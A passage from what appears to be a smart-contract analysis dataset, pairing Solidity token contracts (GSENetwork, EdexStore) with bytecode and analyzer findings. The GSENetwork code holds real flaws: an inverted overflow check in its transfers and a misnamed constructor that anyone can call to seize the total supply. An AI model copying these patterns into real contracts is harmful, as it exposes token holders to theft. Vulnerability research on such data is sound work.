5b8335611c5481611ac9565b92506020840135611c6481611ac9565b929592945050506040919091013590565b600060208284031215611c8757600080fd5b813561146b81611ac9565b80358015158114611ae957600080fd5b600060208284031215611cb457600080fd5b61146b82611c92565b600060208284031215611ccf57600080fd5b5035919050565b60008060008060808587031215611cec57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1d57600080fd5b833567ffffffffffffffff80821115611d3557600080fd5b818601915086601f830112611d4957600080fd5b813581811115611d5857600080fd5b8760208260051b8501011115611d6d57600080fd5b602092830195509350611d839186019050611c92565b90509250925092565b60008060408385031215611d9f57600080fd5b8235611daa81611ac9565b91506020830135611dba81611ac9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3a57611e3a611e10565b5060010190565b60008219821115611e5457611e54611e10565b500190565b600082821015611e6b57611e6b611e10565b500390565b600060208284031215611e8257600080fd5b815161146b81611ac9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611edd5784516001600160a01b031683529383019391830191600101611eb8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3a57611f3a611e10565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e05b1e338886e6d1b3e33a581f495ce9f25695a53dabd286d399b9c851232e6e64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
1,055
0x3ea949ab64b8828981e1c4777d922ab96ec1ab05
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; emit OwnershipTransferred(owner, newOwner); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Pausable { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(_value > 0); require(balances[_to] + _value < balances[_to]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_value > 0); require(balances[_to] + _value < balances[_to]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) whenNotPaused public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) whenNotPaused public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Grantable * @dev the pre-grant is token to addr, and can be viewed in contract * when grant, give token to addr in the real authorization */ contract Grantable is BasicToken { using SafeMath for uint256; mapping(address => uint256) grants; event PreGrant(address indexed from, address indexed to, uint256 value); event Grant(address indexed from, address indexed to, uint256 value); function preGrant(address _to, uint256 _value) onlyOwner whenNotPaused public returns (bool success) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender grants[_to] = grants[_to].add(_value); emit PreGrant(msg.sender, _to, _value); return true; } function grant(address _to, uint256 _value) onlyOwner whenNotPaused public returns (bool success) { require(_to != address(0)); require(_value <= grants[_to]); require(_value > 0); grants[_to] = grants[_to].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); emit Grant(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value); return true; } function grantOf(address _owner) public view returns (uint256) { return grants[_owner]; } } //GSENetwork contract GSENetwork is StandardToken, Grantable { using SafeMath for uint256; string public constant name = "GSENetwork"; // Token Full Name string public constant symbol = "GSE"; // Token Simplied Name uint256 public constant decimals = 4; uint256 constant totalToken = 1000 * (10**8); // Total Token function TTToken() public { totalSupply = totalToken; balances[msg.sender] = totalToken; emit Transfer(address(0), msg.sender, totalSupply); } }
0x6060604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610116578063095ea7b3146101a057806318160ddd146101d657806323b872dd146101fb578063313ce567146102235780633f4ba83a146102365780635c975abb1461024b5780636370920e1461025e578063661884631461028057806370a08231146102a25780637c6bd3e8146102c15780638456cb59146102e35780638da5cb5b146102f657806395d6718a1461032557806395d89b4114610344578063a68dfb2d14610357578063a9059cbb1461036a578063d73dd6231461038c578063dd62ed3e146103ae578063f2fde38b146103d3575b600080fd5b341561012157600080fd5b6101296103f2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561016557808201518382015260200161014d565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ab57600080fd5b6101c2600160a060020a0360043516602435610429565b604051901515815260200160405180910390f35b34156101e157600080fd5b6101e96104ac565b60405190815260200160405180910390f35b341561020657600080fd5b6101c2600160a060020a03600435811690602435166044356104b2565b341561022e57600080fd5b6101e961066d565b341561024157600080fd5b610249610672565b005b341561025657600080fd5b6101c26106f1565b341561026957600080fd5b6101c2600160a060020a0360043516602435610701565b341561028b57600080fd5b6101c2600160a060020a0360043516602435610871565b34156102ad57600080fd5b6101e9600160a060020a0360043516610986565b34156102cc57600080fd5b6101c2600160a060020a03600435166024356109a1565b34156102ee57600080fd5b610249610ae3565b341561030157600080fd5b610309610b67565b604051600160a060020a03909116815260200160405180910390f35b341561033057600080fd5b6101e9600160a060020a0360043516610b76565b341561034f57600080fd5b610129610b91565b341561036257600080fd5b610249610bc8565b341561037557600080fd5b6101c2600160a060020a0360043516602435610c10565b341561039757600080fd5b6101c2600160a060020a0360043516602435610d44565b34156103b957600080fd5b6101e9600160a060020a0360043581169060243516610e00565b34156103de57600080fd5b610249600160a060020a0360043516610e2b565b60408051908101604052600a81527f4753454e6574776f726b00000000000000000000000000000000000000000000602082015281565b60015460009060a060020a900460ff161561044357600080fd5b600160a060020a03338116600081815260036020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b60015460009060a060020a900460ff16156104cc57600080fd5b600160a060020a03831615156104e157600080fd5b600160a060020a03841660009081526002602052604090205482111561050657600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561053957600080fd5b6000821161054657600080fd5b600160a060020a0383166000908152600260205260409020548281011061056c57600080fd5b600160a060020a038416600090815260026020526040902054610595908363ffffffff610eba16565b600160a060020a0380861660009081526002602052604080822093909355908516815220546105ca908363ffffffff610ecc16565b600160a060020a03808516600090815260026020908152604080832094909455878316825260038152838220339093168252919091522054610612908363ffffffff610eba16565b600160a060020a0380861660008181526003602090815260408083203386168452909152908190209390935590851691600080516020610ee38339815191529085905190815260200160405180910390a35060019392505050565b600481565b60015433600160a060020a0390811691161461068d57600080fd5b60015460a060020a900460ff1615156106a557600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60015460a060020a900460ff1681565b60015460009033600160a060020a0390811691161461071f57600080fd5b60015460a060020a900460ff161561073657600080fd5b600160a060020a038316151561074b57600080fd5b600160a060020a03831660009081526004602052604090205482111561077057600080fd5b6000821161077d57600080fd5b600160a060020a0383166000908152600460205260409020546107a6908363ffffffff610eba16565b600160a060020a0384166000908152600460209081526040808320939093556002905220546107db908363ffffffff610ecc16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fdc1e872d7927b949dd471e2dd9d43153685b5564c9a6aaf82246e27c0a9f2a289085905190815260200160405180910390a382600160a060020a031633600160a060020a0316600080516020610ee38339815191528460405190815260200160405180910390a350600192915050565b600154600090819060a060020a900460ff161561088d57600080fd5b50600160a060020a03338116600090815260036020908152604080832093871683529290522054808311156108e957600160a060020a033381166000908152600360209081526040808320938816835292905290812055610920565b6108f9818463ffffffff610eba16565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526002602052604090205490565b60015460009033600160a060020a039081169116146109bf57600080fd5b60015460a060020a900460ff16156109d657600080fd5b600160a060020a03831615156109eb57600080fd5b600160a060020a033316600090815260026020526040902054821115610a1057600080fd5b60008211610a1d57600080fd5b600160a060020a033316600090815260026020526040902054610a46908363ffffffff610eba16565b600160a060020a03338116600090815260026020908152604080832094909455918616815260049091522054610a82908363ffffffff610ecc16565b600160a060020a0380851660008181526004602052604090819020939093559133909116907fccc0446bd51e7316903630d452643afa2e080740919718b1e96cfed97d78b8489085905190815260200160405180910390a350600192915050565b60015433600160a060020a03908116911614610afe57600080fd5b60015460a060020a900460ff1615610b1557600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600154600160a060020a031681565b600160a060020a031660009081526004602052604090205490565b60408051908101604052600381527f4753450000000000000000000000000000000000000000000000000000000000602082015281565b64174876e8006000818155600160a060020a033316808252600260205260408083208490559092600080516020610ee3833981519152915190815260200160405180910390a3565b60015460009060a060020a900460ff1615610c2a57600080fd5b600160a060020a0383161515610c3f57600080fd5b600160a060020a033316600090815260026020526040902054821115610c6457600080fd5b60008211610c7157600080fd5b600160a060020a03831660009081526002602052604090205482810110610c9757600080fd5b600160a060020a033316600090815260026020526040902054610cc0908363ffffffff610eba16565b600160a060020a033381166000908152600260205260408082209390935590851681522054610cf5908363ffffffff610ecc16565b600160a060020a038085166000818152600260205260409081902093909355913390911690600080516020610ee38339815191529085905190815260200160405180910390a350600192915050565b60015460009060a060020a900460ff1615610d5e57600080fd5b600160a060020a03338116600090815260036020908152604080832093871683529290522054610d94908363ffffffff610ecc16565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015433600160a060020a03908116911614610e4657600080fd5b600160a060020a0381161515610e5b57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217928390559091167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600082821115610ec657fe5b50900390565b600082820183811015610edb57fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058209dd53c968b4da865e26a0a4e3dbf88705afb54514c9df907906c6f10544830200029
{"success": true, "error": null, "results": {}}
1,056
0x3a4b1eca26955fba4b99f78ee36153eacdceae85
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract EdexStore is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "EdexStore"; string public constant symbol = "EDX"; uint public constant decimals = 8; uint public deadline = now + 37 * 1 days; uint public round2 = now + 32 * 1 days; uint public round1 = now + 22 * 1 days; uint256 public totalSupply = 1000000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 800000e8; uint public target0drop = 1000; uint public progress0drop = 0; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 970000000e8; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether / 2; uint256 bonusCond3 = 1 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 25 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 50 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 15 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 35 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 1000e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x60806040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610194578063095ea7b31461021e5780631003e2d21461025657806318160ddd1461026e57806323b872dd1461029557806329dcb0cf146102bf5780632e1a7d4d146102d4578063313ce567146102ec57806342966c6814610301578063532b581c1461031957806370a082311461032e57806374ff23241461034f5780637809231c14610364578063836e81801461038857806383afd6da1461039d578063853828b6146103b257806395d89b41146103c75780639b1cbccc146103dc5780639ea407be146103f1578063a9059cbb14610409578063aa6ca8081461018a578063b449c24d1461042d578063c108d5421461044e578063c489744b14610463578063cbdd69b51461048a578063dd62ed3e1461049f578063e58fc54c146104c6578063e6a092f5146104e7578063efca2eed146104fc578063f2fde38b14610511578063f3ccb40114610532575b610192610556565b005b3480156101a057600080fd5b506101a961080b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e35781810151838201526020016101cb565b50505050905090810190601f1680156102105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022a57600080fd5b50610242600160a060020a0360043516602435610842565b604080519115158252519081900360200190f35b34801561026257600080fd5b506101926004356108ea565b34801561027a57600080fd5b50610283610957565b60408051918252519081900360200190f35b3480156102a157600080fd5b50610242600160a060020a036004358116906024351660443561095d565b3480156102cb57600080fd5b50610283610ad0565b3480156102e057600080fd5b50610192600435610ad6565b3480156102f857600080fd5b50610283610b30565b34801561030d57600080fd5b50610192600435610b35565b34801561032557600080fd5b50610283610c14565b34801561033a57600080fd5b50610283600160a060020a0360043516610c1a565b34801561035b57600080fd5b50610283610c35565b34801561037057600080fd5b50610192600160a060020a0360043516602435610c40565b34801561039457600080fd5b50610283610c65565b3480156103a957600080fd5b50610283610c6b565b3480156103be57600080fd5b50610192610c71565b3480156103d357600080fd5b506101a9610cce565b3480156103e857600080fd5b50610242610d05565b3480156103fd57600080fd5b50610192600435610d6b565b34801561041557600080fd5b50610242600160a060020a0360043516602435610dbd565b34801561043957600080fd5b50610242600160a060020a0360043516610e9c565b34801561045a57600080fd5b50610242610eb1565b34801561046f57600080fd5b50610283600160a060020a0360043581169060243516610eba565b34801561049657600080fd5b50610283610f6b565b3480156104ab57600080fd5b50610283600160a060020a0360043581169060243516610f71565b3480156104d257600080fd5b50610242600160a060020a0360043516610f9c565b3480156104f357600080fd5b506102836110f0565b34801561050857600080fd5b506102836110f6565b34801561051d57600080fd5b50610192600160a060020a03600435166110fc565b34801561053e57600080fd5b5061019260246004803582810192910135903561114e565b600d54600090819081908190819081908190819060ff161561057757600080fd5b600a546000985088975087965067016345785d8a000095506706f05b59d3b200009450670de0b6b3a7640000935083906105b7903463ffffffff6111a716565b8115156105c057fe5b049750339150662386f26fc1000034101580156105de575060055442105b80156105eb575060075442105b80156105f8575060065442105b156106565784341015801561060c57508334105b15610620576064600a89025b049550610651565b83341015801561062f57508234105b1561063f57606460198902610618565b348311610651576064603289025b0495505b6106c3565b662386f26fc10000341015801561066e575060055442105b801561067b575060075442115b8015610688575060065442105b156106be5783341015801561069c57508234105b156106ac576064600f8902610618565b3483116106515760646023890261064d565b600095505b87860196508715156107615750600160a060020a03811660009081526004602052604090205464174876e8009060ff161580156107045750600b54600c5411155b156107485761071382826111d0565b50600160a060020a0382166000908152600460205260409020805460ff19166001908117909155600c8054909101905561075c565b662386f26fc1000034101561075c57600080fd5b6107e8565b6000881180156107785750662386f26fc100003410155b156107d457600554421015801561079157506007544210155b801561079e575060065442105b156107b3576107ad82896111d0565b5061075c565b3485116107c4576107ad82886111d0565b6107ce82896111d0565b506107e8565b662386f26fc100003410156107e857600080fd5b6008546009541061080157600d805460ff191660011790555b5050505050505050565b60408051808201909152600981527f4564657853746f72650000000000000000000000000000000000000000000000602082015281565b600081158015906108755750336000908152600360209081526040808320600160a060020a038716845290915290205415155b15610882575060006108e4565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600154600090600160a060020a0316331461090457600080fd5b600854610917908363ffffffff6112ac16565b60088190556040805184815290519192507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f919081900360200190a15050565b60085481565b60006060606436101561096c57fe5b600160a060020a038416151561098157600080fd5b600160a060020a0385166000908152600260205260409020548311156109a657600080fd5b600160a060020a03851660009081526003602090815260408083203384529091529020548311156109d657600080fd5b600160a060020a0385166000908152600260205260409020546109ff908463ffffffff6112b916565b600160a060020a0386166000908152600260209081526040808320939093556003815282822033835290522054610a3c908463ffffffff6112b916565b600160a060020a038087166000908152600360209081526040808320338452825280832094909455918716815260029091522054610a80908463ffffffff6112ac16565b600160a060020a0380861660008181526002602090815260409182902094909455805187815290519193928916926000805160206113f683398151915292918290030190a3506001949350505050565b60055481565b600154600090600160a060020a03163314610af057600080fd5b506001546040518291600160a060020a03169082156108fc029083906000818181858888f19350505050158015610b2b573d6000803e3d6000fd5b505050565b600881565b600154600090600160a060020a03163314610b4f57600080fd5b33600090815260026020526040902054821115610b6b57600080fd5b5033600081815260026020526040902054610b8c908363ffffffff6112b916565b600160a060020a038216600090815260026020526040902055600854610bb8908363ffffffff6112b916565b600855600954610bce908363ffffffff6112b916565b600955604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60065481565b600160a060020a031660009081526002602052604090205490565b662386f26fc1000081565b600154600160a060020a03163314610c5757600080fd5b610c6182826112cb565b5050565b60075481565b600c5481565b6001546000908190600160a060020a03163314610c8d57600080fd5b50506001546040513091823191600160a060020a03909116906108fc8315029083906000818181858888f19350505050158015610b2b573d6000803e3d6000fd5b60408051808201909152600381527f4544580000000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a03163314610d1f57600080fd5b600d5460ff1615610d2f57600080fd5b600d805460ff191660011790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600154600160a060020a03163314610d8257600080fd5b600a8190556040805182815290517ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0039181900360200190a150565b600060406044361015610dcc57fe5b600160a060020a0384161515610de157600080fd5b33600090815260026020526040902054831115610dfd57600080fd5b33600090815260026020526040902054610e1d908463ffffffff6112b916565b3360009081526002602052604080822092909255600160a060020a03861681522054610e4f908463ffffffff6112ac16565b600160a060020a0385166000818152600260209081526040918290209390935580518681529051919233926000805160206113f68339815191529281900390910190a35060019392505050565b60046020526000908152604090205460ff1681565b600d5460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610f3657600080fd5b505af1158015610f4a573d6000803e3d6000fd5b505050506040513d6020811015610f6057600080fd5b505195945050505050565b600a5481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a03163314610fba57600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a0